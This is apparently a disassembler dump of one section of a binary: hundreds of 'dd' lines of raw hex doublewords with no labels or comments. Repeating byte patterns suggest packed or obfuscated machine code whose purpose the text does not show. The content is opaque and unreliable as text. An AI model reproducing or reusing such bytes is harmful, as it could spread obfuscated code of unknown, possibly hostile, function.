		dd 0EB250B28h, 0EDCE9BB8h, 26767F3Fh, 48267F13h, 3366A17Bh
		dd 659E3B05h, 3867A30Dh, 0C6EA1DCh, 3FD1BB69h, 62191C34h
		dd 2671F2B4h, 2486FC13h, 71645EF6h, 0FA931326h,	2B8DD8CBh
		dd 0CE6BC489h, 5281DC99h, 28AB5D5Ah, 0A6E27B5Fh, 8AB2FFB0h
		dd 0D79745E8h, 0D71326F9h, 3BE5C461h, 29452030h, 0B5E3124Fh
		dd 2183B6F1h, 1A96384h,	0C2290000h, 63275588h, 3A2FA729h
		dd 4F8A497Eh, 3F97D0EDh, 0F17E2CCFh, 7D1C3288h,	508A6407h
		dd 8825EF1Dh, 0A70A38D0h, 0CC6D1320h, 0E593B4A9h, 1320A7A1h
		dd 3B1AB72Dh, 45266E95h, 588Bh,	3C785200h, 7815DF0Dh, 0A7176F4Ah
		dd 294D5604h, 43B91C32h, 8DD17FA0h, 0B813200Bh,	5B37AE86h
		dd 73E941ADh, 0BC861ED6h, 0BB1320F0h, 0DB0E4822h, 3F6C093Eh
		dd 45263D91h, 349D5483h, 15726770h, 0AB5778h, 0FD1E0000h
		dd 20B70F4Fh, 214C8B13h, 0EF1A59C9h, 0F895F7C1h, 66A17BCAh
		dd 9E3B0533h, 64FC7EB8h, 7FD8E910h, 0F2195AB6h,	609E6290h
		dd 0CDFC0735h, 0E59943B2h, 3016B36Bh, 0D195C3F6h, 1A476497h
		dd 9DD90640h, 0B56F0C6Eh, 16C9BBAFh, 254275AFh,	812494ECh
		dd 2F2DFED3h, 7BB8281Ch, 0F2541E4Ch, 0C37754Fh,	0A0CB09EFh
		dd 897DC86Fh, 530F0769h, 10Eh, 0CBE80F4Fh, 5D7AA9E5h, 0EE0B3A77h
		dd 7D9ACD08h, 112E5997h, 9FDDD50Dh, 30715774h, 0C706EC09h
		dd 5F997F9Ch, 61420F2Ch, 2674F3B3h, 0C4A2FB13h,	3C5984C2h
		dd 0CCE91C56h, 5B88C29Eh, 0F5BFED20h, 0AAC1F093h, 8C9F79FAh
		dd 0E4A860FDh, 0B3D477AAh, 0C9314105h, 7BD74D16h, 0CA710E41h
		dd 5B82C39Dh, 12C0632Dh, 16C9314Ch, 63FDC52h, 0ED9B3EAEh
		dd 1C327780h, 0DBB558CEh, 0A6D3709Fh, 0F0B66485h, 0FE13207Fh
		dd 0C705EB88h, 0D73964A2h, 7C5E8DBAh, 4D0DCDE2h, 0EED48E2Bh
		dd 141320DDh, 0E304A7DAh, 20DD7135h, 6A077D13h,	749FDDC3h
		dd 5C8A46h, 7BCA0000h, 8B37BA4Ch, 12AFB40Dh, 6E1181D9h
		dd 3450D0C0h, 76A41A1Ch, 0C4B78B2h, 35627FE1h, 1E206614h
		dd 38AE1326h, 487BB59Bh, 40EE0F1Ah, 13261E7Eh, 0B36D0A80h
		dd 0F75B8390h, 980C698Ch, 280E2B5Eh, 0C98DBBEEh, 492D5B8Eh
		dd 0C701A3D2h, 57917794h, 33AF624h, 7A000000h, 82C233A1h
		dd 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h,	0BBF9BDEBh
		dd 639E6290h, 13E0230h,	0A4E0A4D2h, 83864775h, 0C8904ECh
		dd 81E18924h, 4C1h, 4E98300h, 5C240C87h, 5E08950h, 4, 8704E883h
		dd 895C2404h, 8951241Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h
		dd 243C895Ch, 2D11ADBBh, 21B95135h, 910D51Ch, 0E3C159CBh
		dd 21F38102h, 68D21B1Dh, 6225h,	83242489h, 5F042404h, 56F68h
		dd 242C8900h, 6F89DD89h, 34FF5D08h, 0C4835F24h,	241C8B04h
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFA0FBFh
		dd 2B4A4F66h, 0B8FA0C14h, 5EF6FA6h, 0E0FFC503h,	792B859Eh
		dd 14BF0053h, 0B289AC8h, 2E8CFB6Ah, 531BB681h, 7E19120Eh
		dd 6C066FCCh, 559489h, 5F505F6Bh, 50E9B02Ah, 68881C6Bh
		dd 0B0DC75Dh, 48009FAFh, 793F42A4h, 589CED48h, 62ABE3F2h
		dd 471912DDh, 565FD161h, 2ADFB60Ah, 13B6A2B5h, 1232427Ah
		dd 3E0D1176h, 71A3E43Fh, 69A6A630h, 5B3514DDh, 31D09727h
		dd 20E286C8h, 435B3FAEh, 4844D457h, 0BE8h, 0F64F4200h
		dd 0D77F8448h, 0B40E39B6h, 59C6B70Fh, 0DE9h, 0E1C4E900h
		dd 44A8097Dh, 481F52C4h, 0C18183E7h, 5937h, 0F633E38Ah
		dd 38CC8060h, 0D2F68166h, 148B6191h, 0DFBF0F31h, 0CA83C281h
		dd 12E97FC6h, 20000000h, 0C35FAB95h, 0EED2B7C6h, 0D48C44B0h
		dd 6A108220h, 88C281F9h, 665FE66Ah, 819FDDBBh, 0C0D203C2h
		dd 21A5BB37h, 1489774Fh, 0DE8BB831h, 0EE837C09h, 81B3B704h
		dd 0FFA774FEh, 11850FFFh, 0F8000000h, 23E9h, 0FCD59800h
		dd 9A50A1A8h, 1B635D57h, 0E9DF8B66h, 0FFFFFF96h, 674AE348h
		dd 105757C4h, 4315BBA9h, 0BCCD4D07h, 88D408EBh,	6BFCh
		dd 0AE90000h, 6800000Bh, 5EF72F8h, 0FAD89CE9h, 73D668FFh
		dd 92E905EFh, 68FFFAD8h, 5EF75A1h, 0FAD888E9h, 768968FFh
		dd 7EE905EFh, 68FFFAD8h, 5EF7829h, 0FAD874E9h, 7A0B68FFh
		dd 6AE905EFh, 68FFFAD8h, 5EF7B18h, 0FAD860E9h, 16D535FFh
		dd 0E59E0447h, 0B970D316h, 8843A7EAh, 5A1176B9h, 2BBEC68Bh
		dd 0F93C0BC6h, 0CF12E198h, 9FE2B168h, 2AAF7E3Dh, 86E4CEC9h
		dd 698FD851h, 5F97F974h, 371E3EFDh
		dd 2083BF24h, 0A6C6AC69h, 0C7DA87C8h, 0BC22961h, 6A482EEBh
		dd 3D24E345h, 15D79D06h, 3D1B0B12h, 0E74E61EAh,	0AAE45230h
		dd 623B7259h, 2204EA55h, 0E5E04B29h, 0E3A8FC84h, 0AD5A175Dh
		dd 0FF715954h, 0D41AD854h, 0FFC5E9F6h, 26E6D854h, 0C5D47755h
		dd 0D2E5D88Ch, 0D1CCB36Ch, 0D854F7E9h, 0BF6E4C92h, 27h
		dd 25DEB020h, 8BE433Eh,	0FA0DE3A8h, 3D23E097h, 0CB88CE5Fh
		dd 57E6567Ch, 0F8B979D8h, 8BB2410Ah, 0AC32D8h, 0F9930000h
		dd 0BC23E097h, 78DF9C57h, 376E5516h, 4C9B6D35h,	52937186h
		dd 3D289EBh, 0BEA218D8h, 22D93BDDh, 0EDAE1053h,	740E8030h
		dd 0B197540Fh, 0CAAFAA91h, 0BBE3A844h, 0C41DA675h, 5776E1C9h
		dd 66448AD8h, 866D86F8h, 0F1D9D42Dh, 9AD85775h,	964DB354h
		dd 2DC3ABB8h, 66ACE643h, 4B086C7Fh, 8AEF026Dh, 58BD00CFh
		dd 76FAEA1h, 0F6B9CBD2h, 8D786h, 0EAA10100h, 0B972D81Bh
		dd 8544A7EAh, 540F73B6h, 26DD4285h, 0F7F29257h,	0C508D792h
		dd 93D6A564h, 63A6752Ch, 0F67B4A01h, 85309A95h,	355BD851h
		dd 0DD94F940h, 0B269CB0Eh, 0DEB08CE3h, 0BE433E25h, 0E7E3A808h
		dd 2995E4A1h, 0C6D857E6h, 7FE6A364h, 4FA46118h,	29FEB603h
		dd 449D2869h, 57E66149h, 0E6C40AD8h, 8BB2B398h,	0BCC0D8h
		dd 0F9210000h, 0E6F9E097h, 0F0FEC384h, 4890D856h, 0D17EBF9Dh
		dd 0BE205ABEh, 3A20DDFDh, 17D2375Ch, 0E1550B5Ah, 0C6EDDBEh
		dd 0BCF37C4Bh, 0E8DEC97Eh, 527755D7h, 3D5037F0h, 7F6522D9h
		dd 0A0B360A1h, 33A17F3Ch, 0C8C3AA5Bh, 0E3A838D3h, 33BF8ED4h
		dd 0C8C3AA5Bh, 0E643E9CDh, 9AAD94DAh, 35A07E35h, 3706BD22h
		dd 0E1D48FF4h, 0CBD3C644h, 0F9AF1FE2h, 23000007h, 0F63908C3h
		dd 0C508D790h, 91D4A362h, 64A7762Dh, 0B07544FFh, 0F9B015D4h
		dd 0C386E72Ah, 934AB1F4h, 681F81C4h, 0B8B31499h, 0D851840Eh
		dd 0F95E5379h, 0CB0EDD94h, 0B8CBB269h, 0F7B21357h, 726D1AD7h
		dd 0DDBEF748h, 0EFCDED33h, 97F9459Ch, 83E6F9E0h, 3EA5E6C4h
		dd 0DB341BDCh, 0BEF7F6E0h, 0EDAC0DDDh, 0F73D4A30h, 443AC619h
		dd 4FB1C4ABh, 456747F3h, 0F2F9B06h, 0D188EB52h,	6D68D3B1h
		dd 0E3A84BB8h, 2B3C7E69h, 0A4C846A4h, 57EC01A9h, 4246AD8h
		dd 5EC027E4h, 298BCE9Dh, 0F2D990F1h, 57ECCFF7h,	5272B8D8h
		dd 1B94695h, 7C0860ECh,	0C94F63Fh, 91C9A911h, 6C8CD250h
		dd 89312C85h, 0F25091C9h, 387BCEACh, 95815D6h, 5091C9A4h
		dd 0A86D2E1Ch, 2DB68546h, 20FEB51Ah, 0FD6199FBh, 83A38946h
		dd 0C94677C6h, 95995091h, 0EEAD0FC4h, 407ADC1Fh, 8940A1D9h
		dd 0DC8C4969h, 6F6A51A2h, 6E8722E2h, 53664D93h,	937936EDh
		dd 0B8D662B5h, 88A85FC6h, 0D13548A1h, 0C27F3699h, 19FFBCDCh
		dd 948F3732h, 0B2F84EA6h, 9BD6C7D4h, 89CF70BFh,	0D2E81FCCh
		dd 0BA4FDA5Ah, 32AB0F4Bh, 9481A96Dh, 0A504A9B6h, 0E5A544BFh
		dd 0F153694h, 0A25E6BA4h, 0BF000003h, 7B1327B4h, 374AA38Ah
		dd 763598D0h, 0F6B3D3B9h, 5C253210h, 2BE3A805h,	3CF9B218h
		dd 0A1E77856h, 0F1EC45D6h, 0D857F8C9h, 0F8F5DDD8h, 589ED857h
		dd 1A27054Bh, 5B24C6F4h, 4C33CCC2h, 5FF76051h, 0EF521965h
		dd 75957B38h, 7D7608B8h, 71A49B96h, 0E4F16F4Ah,	738DC1E9h
		dd 4464AA4Fh, 0B0AB045Dh, 4F738D06h, 284D2B71h,	0F33605C6h
		dd 30E7DA91h, 0DE52CA46h, 62EAB1Bh, 0F8580000h,	0BB216433h
		dd 8FF23504h, 62C609D8h, 3297DAA9h, 0A1E3A877h,	5928E348h
		dd 27F6B516h, 0F7C67DE4h, 0CA9952B4h, 0C1E9E445h, 0AAD85182h
		dd 5AB38F84h, 57F8D123h, 0B942DCF7h, 0DDBE5F11h, 0E856347Ah
		dd 1D765D96h, 5FE1C9C4h, 7D8ADDBEh, 0BE5E5882h,	0DDFD43DDh
		dd 0AA35F2FFh, 0A8EEE3A8h, 0E3828AC1h, 0AD4E8006h, 0C5278ECFh
		dd 7B9A443Fh, 0BF05D857h, 517DE29Fh, 0F30C8200h, 3CA0B30Ch
		dd 3BDCC27Fh, 313E1CD7h, 0E6418F74h, 0D518E72Dh, 90F7B473h
		dd 2CB06D2Eh, 852D2881h, 0EED66C6Eh, 5F1CCAA8h,	0A4733496h
		dd 753A1338h, 27760DEh,	0B0C10000h, 433E25DEh, 0E3AE680Ah
		dd 8942A6B9h, 0EDD41AABh, 0EFBE75DAh, 0A58C47ACh, 8669514Ch
		dd 0CC12D851h, 735EADEEh, 90D85186h, 317A6D2Eh,	67C5E84Dh
		dd 54634A4h, 10700000h,	0D3397C4Bh, 0A70A4D1Ch,	7ADE21F0h
		dd 4AAFF2C1h, 89FBC08Fh, 7140FB60h, 3F0ECD2Eh, 0FDE95FCh
		dd 0E2B16ACCh, 0D901FC5Dh, 0C2D85181h, 0DEB0A79Ch, 0D2E53E25h
		dd 0CDDAB86Fh, 0E3AE6874h, 74D7EA43h, 85822CB5h, 0A7EDD851h
		dd 0A7138C9h, 0F6B36CD2h, 0E09F010h, 0D85185A4h, 0AC6989CFh
		dd 5524E345h, 10F7B012h, 8512BCB7h, 377DD851h, 4FB11859h
		dd 537AB198h, 3CF75B1Bh, 0A7568A77h, 160488C9h,	66134A45h
		dd 21898476h, 4AD85152h, 76A03F04h, 6F2CE74Ch, 90A46989h
		dd 0BFFE18B1h, 56B8DDBBh, 0F15AC695h, 82D891F8h, 191h
		dd 0E097F9E3h, 0A15ABC23h, 8544A7BAh, 0B104E2C8h, 0B9F36925h
		dd 2E060FD8h, 0D9964DB2h, 0CCB3D3F3h, 0A8F490D1h, 1C0349E3h
		dd 0E71EC8C3h, 0B4AFD854h, 0D854E70Ah, 0DC222F75h, 406EBDFEh
		dd 6BD854E7h, 4FFCEEABh, 24D88CCDh, 20h, 25DEB085h, 8BE433Eh
		dd 0A1E7E3A8h, 0E62995E4h, 0D292D857h, 0B2282381h, 0C74DD88Bh
		dd 0AE000000h, 0FC5F97F9h, 0E5A259BCh, 3C22DFFFh, 9FB25F1Ch
		dd 7CA17F3Ah, 389F5C17h, 0F52D94D6h, 99B9D990h,	81389FB2h
		dd 0BF00DEC4h, 10A5DB12h, 577675E3h, 541939F0h,	8DE39AABh
		dd 9DC2A095h, 82AD7C3Bh, 0DDBEA4AEh, 0C6288C9Fh, 8659A7D1h
		dd 0A987A786h, 9A692284h, 987F700Eh, 0AAF8609Dh, 112431E3h
		dd 446EF7AEh, 2FD852FCh, 0DF0702E9h, 0C8D852FCh, 687B6282h
		dd 36794803h, 0BC271AD1h, 0AC5EB37h, 3A6D747h, 70D00000h
		dd 3399DCABh, 76AAD7Ch,	0DA3E8150h, 0AA0F5221h,	295B20EFh
		dd 0D1A05BC0h, 9F6E2D8Eh, 6F3EF55Ch, 4211CA2Ch,	79615CBDh
		dd 22D8518Fh, 94F907FCh, 69CB0EDDh, 54B8CBB2h, 16F4DA97h
		dd 97F96CC3h, 5ABC23E0h, 4846D2A1h, 0BB7ADDF0h,	278F18FEh
		dd 50DDBEF7h, 0AA03EA0Ah, 95733697h, 0A81CFB88h, 0A966ACE3h
		dd 57D2725Ah, 712889D8h, 2CEB4DB4h, 0E6A5086Fh,	68B44329h
		dd 0B7A5632Bh, 74D8EBFAh, 3614FAB7h, 563DB6C8h,	4139D65Bh
		dd 6A397FE6h, 8E73AAE1h, 0A9F70FB7h, 92709047h,	0E097F959h
		dd 0A15ABC23h, 0B74846D2h, 801F99D0h, 61ADDC79h, 0DE577F7Ah
		dd 0FA40DDBEh, 4558B11Ch, 474229E0h, 0DDBEDE9Fh, 0D7E4C208h
		dd 0E3A82496h, 0FD4C094Fh, 0D857B7D1h, 4A45CB2Eh, 0D857B760h
		dd 0E8A5C50Bh, 81E51D81h, 86EDAACAh, 0C7AD6A21h, 0B431014h
		dd 0AA257636h, 0B7B23097h, 0D857B70Fh, 55123278h, 843916Fh
		dd 0B1D88BFDh, 0FC2F9C7Ah, 14778A4Bh, 92B29855h, 2A05B4h
		dd 0B0660000h, 433E25DEh, 0E3A808BEh, 0DB94FA0Dh, 3597381Eh
		dd 0C1079876h, 0E609B504h, 0F2B2D857h, 0B20843A1h, 0E06DD88Bh
		dd 0CE000000h, 0FD5F97F9h, 7B9B813Eh, 37F257BEh, 5AD83D50h
		dd 0BEF7775Fh, 0BADA20DDh, 0D2349BDCh, 93F55C19h, 6DA05D4h
		dd 0F7DDBEFBh, 0E7C57EE4h, 0D8A760C2h, 0B7743395h, 99FD7707h
		dd 7D7825E2h, 0DDBEF255h, 0B8D8F83Eh, 0F935D6D1h, 0A8EEE3A7h
		dd 0FCF750D9h, 0D857FCD2h, 2B9977BDh, 62BBA253h, 57FC7F67h
		dd 41E228D8h, 0E04B29E0h, 43BBA6E5h, 52397FE6h,	0C780E6F9h
		dd 0A45FC4E9h, 8F48AABDh, 802A25D2h, 0EBD66A32h, 82E485A5h
		dd 48260CC9h
		dd 964DB2F5h, 0D3F90EA3h, 49B97CCBh, 1C4h, 0FECD8EEEh
		dd 0CF9E55BBh, 0A372298Ch, 703FFC60h, 4211C82Dh, 7DE2077Dh
		dd 53B4F7C6h, 1F86C998h, 0F4569968h, 7EDF6433h,	518D5B83h
		dd 291E44D8h, 0EDD94F9h, 89312C85h, 0F2DDBEF7h,	47A9CEACh
		dd 0B36AC190h, 0A17F3CA0h, 0C3AA5B33h, 0A8083BC8h, 69266CE3h
		dd 7E6863BCh, 29D857E6h, 0CAF805E3h, 0F5D857E6h, 56696435h
		dd 0D5B39F2h, 0D88BB23Eh, 0D437h, 97F99800h, 8DA0F9E0h
		dd 0FEE87128h, 0A9DDBEF7h, 97448563h, 0A7641F84h, 20BCF81Ch
		dd 0BFDF93D2h, 9C57BCE1h, 98D090DFh, 91F3DDBEh,	66C80BDAh
		dd 423DBF24h, 0DDBE9F98h, 0B69DBD03h, 0BE9F13BBh, 16367CDDh
		dd 1CD5A959h, 8883DC35h, 0DDBE9F5Eh, 9C5FF91h, 637059CDh
		dd 51323F1Dh, 4AE3A776h, 6B4C255Fh, 847F451Bh, 0D8576F5Ah
		dd 0BFDFFF45h, 0D92A64F0h, 9FEABBF2h, 0AAE98572h, 846661CCh
		dd 5FE64306h, 0BA1F3219h, 88ED30FFh, 5C73DED1h,	0EAADCBD2h
		dd 0B77Ah, 0CA81E100h, 9952B8FBh, 652487CAh, 34EF5396h
		dd 6BD2265h, 0D7127237h, 0A5E8B772h, 73B68544h,	4386550Ch
		dd 0D65B2AE1h, 8C507A75h, 153BD851h, 5C94F920h,	4F1E3EF5h
		dd 22F1AA0Ch, 0E097F9CBh, 0A15ABC23h, 0B74846D2h, 6878D5D0h
		dd 0E329E3AEh, 2667926h, 0E4466B49h, 0B8CB5423h, 0F6DC9952h
		dd 5991F318h, 3EA041F8h, 0BADAC07Dh, 9929AEFDh,	2F784E3Dh
		dd 28C8AF8h, 0A142042Dh, 0E4CA873Eh, 8C1B5806h,	0A15E1579h
		dd 56B8DDBBh, 2183C695h, 0A700AD6Ah, 0BD2002ACh, 49276DA9h
		dd 4603C024h, 2FE4B5E1h, 0FC3F0ECDh, 0B424E19Ah, 8, 39A0B313h
		dd 4803A482h, 25E299F9h, 0DE9B5CBEh, 9C591077h,	5815D435h
		dd 18D58CF1h, 0D8954CB1h, 99560D71h, 5B18CF32h,	18D58EF4h
		dd 0E7895781h, 4C781h, 0EF810000h, 4, 5C243C87h, 68242C89h
		dd 5AEAh, 52243C89h, 0C281E289h, 4, 4EA81h, 14870000h
		dd 0C895C24h, 0BA525624h, 0F8E7124h, 0BF5AD689h, 0F66100A0h
		dd 815EF701h, 4ECh, 24248900h, 4240481h, 59000000h, 8904EC83h
		dd 2C81243Ch, 135A4424h, 8418F0Dh, 44084181h, 8B0D135Ah
		dd 8951240Ch, 4C181E1h,	81000000h, 4C1h, 240C8700h, 2434FF5Ch
		dd 4C4835Fh, 0FACDA0E9h, 0DBC9D4FFh, 7BF4B881h,	0C50305EFh
		dd 0DE0FE0FFh, 0A2A420ABh, 0DA80EB9h, 0A8993030h, 1657EAEh
		dd 80C87440h, 0ED7C2E4Bh, 0CFE24B1Fh, 70EF719Ch, 0AE0861C7h
		dd 0EDBC1C63h, 678A7BC2h, 46D15C39h, 414D467Bh,	0E7E727E6h
		dd 8D8D247Eh, 5EF7DB3h,	2A258D29h, 8D8905E9h, 5E92655h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FCC35646h
		dd 0AA81EEE5h, 0CE8h, 0D10B4900h, 532865Ch, 617C9D3Eh
		dd 0ACD081FBh, 5A1C7F57h, 31559589h, 85C705E9h,	5E90805h
		dd 7510h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	10C35343h, 12F24723h, 5C5FDE05h, 3D85C7D4h, 5E916h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FF14C350h, 0E910E9B5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 34AA450Eh, 8B01E6D0h, 0C595FFC7h, 8905E90Bh,	0E92CF19Dh
		dd 0D38B5305h, 0FF006A5Ah, 0E91E9595h, 0EBC08B05h, 0A6E9FA7Fh
		dd 0F781E5F1h, 25256F0Ch, 0C7111E3h, 93F10CA1h,	19EB38C2h
		dd 765565E4h, 3097D800h, 46CA9AE5h, 7DB9779h, 0CDC0F715h
		dd 0BDFDBB11h, 28764DA6h, 2D37FED9h, 72370DB0h,	5CDB7EF3h
		dd 0BF401B70h, 800A2AA8h, 1455F37Fh, 0D477406h,	7E02C474h
		dd 1B55C854h, 470DC037h, 0C87A5F0Ch, 0C530378Bh, 0D3D0A74Eh
		dd 66B47F2Bh, 0B514320Fh, 6F028764h, 8D22C8FBh,	46EA2E52h
		dd 17005B99h, 10E8h, 60AE3B00h,	1EB4007h, 97C06173h, 76CA2AE8h
		dd 6E9CFh, 14A30000h, 27A90464h, 0BD95895Ah, 8105E923h
		dd 6C97C2h, 819D8B00h, 3305E904h, 39BD8BC0h, 8B05E918h
		dd 0FE8B0234h, 70E1C681h, 0B70F310Dh, 59F681CAh, 897F9D65h
		dd 0E91089B5h, 0DBC68105h, 564A957Fh, 28719589h, 48F05E9h
		dd 8AD88B02h, 2E883F9h,	245D9589h, 484805E9h, 17ED8D89h
		dd 0F88105E9h, 0FFFF93ECh, 0FFB5850Fh, 9D0BFFFFh, 5E90A9Dh
		dd 7F798D8Dh, 8D8905EFh, 5E92655h, 2955BD8Bh, 85C705E9h
		dd 5E90805h, 671Ch, 6840Fh, 8D890000h, 5E92F75h, 163D85C7h
		dd 5E9h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h,	44810424h
		dd 160424h, 57470000h, 0F9A7DDC3h, 1F31858Bh, 9D3105E9h
		dd 5E9057Dh, 3F5B5FFh, 6A05E9h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0BE7238C3h, 0AA845523h
		dd 0C595FF5Dh, 6A05E90Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0B478C356h,	89958BB9h
		dd 6A05E92Ah, 9595FF00h, 8B05E91Eh, 6C0DEBC0h, 8D2A7DC8h
		dd 8B72BFCAh, 0F2626671h, 80AF8D8Dh, 11E905EFh,	60000000h
		dd 75B66B95h, 33B97275h, 35C4FDA0h, 478EAC42h, 26558D89h
		dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0CADC83C3h, 0BCAB1468h, 8E0FEA5Fh, 6, 1061858Bh
		dd 85C705E9h, 5E90805h,	6440h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 5BC35646h, 81669279h, 66D656EAh
		dd 6CFC781h, 19DBBB66h,	163D85C7h, 5E9h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0D293C1C3h, 0E00DFBD2h, 995897Fh, 0FF05E932h, 0E9321DB5h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 88167643h, 0C595FF5Ch, 6A05E90Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0B701C351h, 800F4227h, 0Ah, 95A5360h, 0E92D09B5h, 8F0F6105h
		dd 1, 0FF006AF9h, 0E91E9595h, 0EBC08B05h, 0B9A1230Eh, 5C0FFC0h
		dd 0ACBB5A84h, 8D187931h, 0EF81AD8Dh, 0A1BD0305h, 8905E924h
		dd 0E926558Dh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0BDB3EE27h, 2D60D44Ch
		dd 80585C7h, 5F8805E9h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0FA26DC3h, 7F69E73Eh
		dd 85C75162h, 5E9163Dh,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 49C35545h
		dd 8D010A12h, 5E93131h,	55B5FFh, 816605E9h, 0FFFD28F3h
		dd 0E90BC595h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 61A4B608h, 0EDB43C13h
		dd 11E88A89h, 0B7000000h, 0C429D2A8h, 1D4C94A1h, 0FB3214E1h
		dd 0DC215EADh, 26B1BD01h, 6A5B05E9h, 9595FF00h,	8B05E91Eh
		dd 3C6AEBC0h, 4C15DAB1h, 174B70ACh, 0F1CB8BBCh,	8735290h
		dd 37A974C0h, 43DFCD6Eh, 206AD111h, 4CB5078h, 0DAE57026h
		dd 5E616961h, 0C959CFCDh, 0A86AE916h, 9317482Fh, 7119BEA8h
		dd 8E8C9684h, 83A40867h, 0A88DF01Ch, 3ECCD5E8h,	15B93C86h
		dd 2A986529h, 0B4FD50DAh, 8739316Ch, 0A9290181h, 5C8F9992h
		dd 939FCC64h, 0BAB06490h, 10E83Ah, 0B9390000h, 3CDCFD68h
		dd 0FC1B7C2Fh, 338CB136h, 860F53A5h, 6,	10659589h, 8B5E05E9h
		dd 0E927919Dh, 0E1C68105h, 0E900006Dh, 11h, 11E6A0B6h
		dd 8575461Eh, 0A8383968h, 687135EDh, 0B965h, 66500000h
		dd 0B82AD381h, 3134FF5Bh, 95295FF9h, 5E91935h, 0F9D8F781h
		dd 0DF8B697Dh, 9E5FEF81h, 18B442E7h, 6096C781h,	0E3800E4Dh
		dd 0E3C89E1h, 5086BB66h, 0FE9h,	73CE5800h, 9B0D4CA4h, 0CDCA8B7Dh
		dd 68BBA603h, 4902E983h, 598D2949h, 8105E929h, 0FF9308F9h
		dd 24850FFFh, 0E9000000h, 0Bh, 832FA93Ch, 648F1139h, 0E94047D1h
		dd 37h,	795E35B8h, 3AE6EBBFh, 0F3355722h, 6066EDABh, 1CD1858Bh
		dd 0EE905E9h, 27000000h, 684C1124h, 0A6BA44B6h,	95463E8Ch
		dd 66E96171h, 78FFFFFFh, 0BA6B39CDh, 0E80767A3h, 0Dh, 2B6499B9h
		dd 3710A5DEh, 0F0A9071Fh, 68F0F50h, 8B000000h, 0E90F4185h
		dd 0BF0F5905h, 0CCC181C1h, 66000065h, 2BF4EEBAh, 39DC80F6h
		dd 890E34FFh, 0E90BC1BDh, 85295F05h, 5E9224Dh, 0B203F781h
		dd 9D8B46C2h, 5E92699h,	0F193C781h, 860F20D9h, 2, 0EF81D98Bh
		dd 46956674h, 0D161BB66h, 8FE28A57h, 852B3104h,	5E92219h
		dd 0C3CDA81h, 0EE8342ABh, 99BD2901h, 4E05E900h,	8F0F4E4Eh
		dd 0Ch,	6820Fh,	0BD290000h, 5E921F9h, 9AD0FE81h, 850FFFFFh
		dd 0FFFFFF90h, 4138B866h, 842E8D8Dh, 9D8905EFh,	5E923D1h
		dd 26558D89h, 14E905E9h, 0BD000000h, 0E7135270h, 0A6C600A4h
		dd 8E0B9040h, 25C7CE24h, 0C7A3F34Dh, 0E9080585h, 635805h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 6608E7E7h, 0B589D18Bh, 5E90D15h,	163D85C7h
		dd 5E9h, 0FFF50000h, 0E931D5B5h, 95FFF505h, 5E90BC5h, 95FF006Ah
		dd 5E91E95h, 1AEBC08Bh,	64F3601Ah, 772D9CF5h, 0E96070FBh
		dd 104A72CCh, 75476C62h, 54725ECCh, 8D8DA3ECh, 5EF851Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0E5C35242h
		dd 5EF171BCh, 8D89B5DDh, 5E92655h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0EC35747h, 3E97668Ch, 20BF883Fh
		dd 1BF6647h, 585C7E9h, 1C05E908h, 6A000068h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0DC42C355h, 0F22429Bh, 0F88B36BEh, 163D85C7h, 5E9h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 8975F3C3h, 0E92B49BDh, 39B5FF05h,	8905E928h
		dd 0E922DD95h, 0C595FF05h, 8B05E90Bh, 0E903A195h, 0FF006A05h
		dd 0E91E9595h, 0EBC08B05h, 0DDBF1B7Ch, 0AF277AECh, 0D3AC9D2Eh
		dd 2CE70B87h, 0AD12EA72h, 0D77C8B4Fh, 3D931AEDh, 1D4049DAh
		dd 57545B4Dh, 3EB178E7h, 94267091h, 8D6925EBh, 1943A707h
		dd 67DDF04Ch, 0A20060D1h, 105EFA64h, 0A39068D6h, 0EA5501F5h
		dd 0B50EE8DBh, 0F1248726h, 0AB83019Bh, 534AC79Dh, 0DF648DF4h
		dd 0F942D090h, 0BEF92C04h, 89D3CE78h, 24DE4860h, 85661A5Eh
		dd 0A1D5071Bh, 25170AFBh, 2A390ADDh, 698D8DE1h,	8B05EF86h
		dd 0E919B995h, 558D8905h, 6A05E926h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A6C8C357h
		dd 34418B22h, 85896601h, 5E92ADDh, 80585C7h, 5D6405E9h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 9543C3C3h, 0E2212C4Ch, 85C71662h,	5E9163Dh
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B6C35242h
